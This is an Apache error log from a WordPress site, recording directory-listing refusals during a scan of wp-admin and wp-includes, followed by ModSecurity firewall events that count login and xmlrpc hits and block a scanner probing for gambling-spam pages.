[Tue Feb 24 17:25:11.275279 2026] [autoindex:error] [pid 37095:tid 37103] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:25:14.004552 2026] [autoindex:error] [pid 37095:tid 37121] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:25:14.238030 2026] [autoindex:error] [pid 37095:tid 37109] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:25:14.905052 2026] [autoindex:error] [pid 37095:tid 37107] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:25:15.116575 2026] [autoindex:error] [pid 37095:tid 37098] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:25:15.372485 2026] [autoindex:error] [pid 37095:tid 37102] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:32.106730 2026] [autoindex:error] [pid 37095:tid 37118] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:32.374044 2026] [autoindex:error] [pid 37095:tid 37107] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:32.593083 2026] [autoindex:error] [pid 37095:tid 37102] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:32.825785 2026] [autoindex:error] [pid 37095:tid 37098] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:41.046329 2026] [autoindex:error] [pid 37095:tid 37120] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:43.747504 2026] [autoindex:error] [pid 37095:tid 37102] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:43.968197 2026] [autoindex:error] [pid 37095:tid 37098] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:44.192036 2026] [autoindex:error] [pid 37095:tid 37100] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:47.007177 2026] [autoindex:error] [pid 37095:tid 37115] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:47.237987 2026] [autoindex:error] [pid 37095:tid 37114] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:47.485746 2026] [autoindex:error] [pid 37095:tid 37103] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:26:47.723440 2026] [autoindex:error] [pid 37095:tid 37099] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:27:46.233114 2026] [autoindex:error] [pid 34751:tid 34810] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:14.409507 2026] [autoindex:error] [pid 34751:tid 34818] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:25.111331 2026] [autoindex:error] [pid 34751:tid 34810] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:25.344475 2026] [autoindex:error] [pid 34751:tid 34826] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:36.341745 2026] [autoindex:error] [pid 34751:tid 34817] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:36.551740 2026] [autoindex:error] [pid 34751:tid 34825] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:36.763120 2026] [autoindex:error] [pid 34751:tid 34830] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:38.141971 2026] [autoindex:error] [pid 34751:tid 34824] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:38.361120 2026] [autoindex:error] [pid 34751:tid 34812] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:38.574310 2026] [autoindex:error] [pid 34751:tid 34823] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:38.791269 2026] [autoindex:error] [pid 34751:tid 34816] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:28:39.031095 2026] [autoindex:error] [pid 34751:tid 34811] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:29:27.235402 2026] [autoindex:error] [pid 34751:tid 34826] [client 173.239.214.54:28227] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 18:14:02.129366 2026] [:error] [pid 34839:tid 34862] [client 43.153.76.247:35432] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ156mLpm0-tb2ey61HJxwAAABU"]
[Tue Feb 24 18:33:17.092682 2026] [:error] [pid 34750:tid 34789] [client 211.159.153.20:34542] [client 211.159.153.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.159.153.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ1-beaZ-Iv_wvbRkKLt7QAAAUg"]
[Tue Feb 24 20:11:54.670009 2026] [:error] [pid 16805:tid 16829] [client 182.43.70.143:33304] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ2ViqYuGciBkyQZTxUQSAAAAxY"]
[Tue Feb 24 20:28:48.479473 2026] [:error] [pid 16716:tid 16735] [client 167.17.77.23:46046] [client 167.17.77.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.17.77.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ2ZgMD67Ke7uCRSQazaOQAAAlE"]
[Tue Feb 24 20:32:38.254830 2026] [:error] [pid 34751:tid 34808] [client 157.90.67.188:58630] [client 157.90.67.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.67.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ2aZs7SW-lfeVKMPq816QAAAcA"]
[Tue Feb 24 21:13:54.490827 2026] [:error] [pid 34129:tid 34133] [client 82.223.26.75:55492] [client 82.223.26.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.26.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ2kEhPv5q_W6sGTPvoG1AAAAII"]
[Tue Feb 24 21:43:34.637560 2026] [:error] [pid 40455:tid 40482] [client 98.159.233.102:32567] [client 98.159.233.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 98.159.233.102, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ2rBlw13ca9RV2qrBl-WwAAAVY"], referer: https://vetstars.com.au/
[Tue Feb 24 21:48:00.573139 2026] [:error] [pid 40456:tid 40490] [client 121.200.216.6:50222] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.216.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ2sEOP0ojUS1IXv0AXBAQAAAYM"]
[Tue Feb 24 22:19:52.828528 2026] [:error] [pid 34018:tid 34048] [client 147.135.253.34:57384] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZ2ziBGkEvccktzDf_isbQAAAMQ"]
[Tue Feb 24 22:19:59.593851 2026] [:error] [pid 40393:tid 40415] [client 147.135.253.34:54800] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ2zj7DZWhNc1DniCm3VXwAAAFA"]
[Tue Feb 24 22:20:05.091212 2026] [:error] [pid 40455:tid 40462] [client 147.135.253.34:41262] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZ2zlVw13ca9RV2qrBmE0gAAAUI"]
[Tue Feb 24 22:20:09.007492 2026] [:error] [pid 34018:tid 34066] [client 147.135.253.34:41282] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ2zmRGkEvccktzDf_isdQAAANY"]
[Tue Feb 24 22:20:13.402957 2026] [:error] [pid 37918:tid 37943] [client 147.135.253.34:41294] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZ2znTB7WIlOit9GZHhHTwAAA5M"]
[Tue Feb 24 22:20:17.977279 2026] [:error] [pid 34018:tid 34053] [client 147.135.253.34:35766] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZ2zoRGkEvccktzDf_iseQAAAMk"]
[Tue Feb 24 22:20:22.357989 2026] [:error] [pid 40456:tid 40490] [client 147.135.253.34:35782] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZ2zpuP0ojUS1IXv0AXICAAAAYM"]
[Tue Feb 24 22:20:26.718563 2026] [:error] [pid 40393:tid 40401] [client 147.135.253.34:48152] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZ2zqrDZWhNc1DniCm3VbQAAAEI"]
[Tue Feb 24 22:20:29.933042 2026] [:error] [pid 40394:tid 40437] [client 147.135.253.34:48164] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZ2zreDlibHIQ-y0MaR_8QAAAIo"]
[Tue Feb 24 22:20:33.623275 2026] [:error] [pid 34018:tid 34068] [client 147.135.253.34:48170] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZ2zsRGkEvccktzDf_ishAAAANg"]
[Tue Feb 24 22:20:36.879326 2026] [:error] [pid 34018:tid 34048] [client 147.135.253.34:59180] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZ2ztBGkEvccktzDf_isiAAAAMQ"]
[Tue Feb 24 22:20:40.116533 2026] [:error] [pid 40455:tid 40479] [client 147.135.253.34:59198] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZ2zuFw13ca9RV2qrBmE7AAAAVM"]
[Tue Feb 24 22:20:43.156136 2026] [:error] [pid 40456:tid 40491] [client 147.135.253.34:59226] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZ2zu-P0ojUS1IXv0AXIEgAAAYQ"]
[Tue Feb 24 22:20:46.230328 2026] [:error] [pid 35061:tid 35079] [client 147.135.253.34:34174] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZ2zviTtNYeQS_BngHwBRQAAAQw"]
[Tue Feb 24 22:21:20.701612 2026] [:error] [pid 40456:tid 40502] [client 147.135.253.34:34194] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZ2z4OP0ojUS1IXv0AXIMgAAAY8"]
[Tue Feb 24 22:21:23.919702 2026] [:error] [pid 37784:tid 37799] [client 147.135.253.34:48610] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZ2z4xhsjFGJ0bR81bdvKAAAAo0"]
[Tue Feb 24 22:21:26.974300 2026] [:error] [pid 40456:tid 40496] [client 147.135.253.34:40212] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZ2z5uP0ojUS1IXv0AXINgAAAYk"]
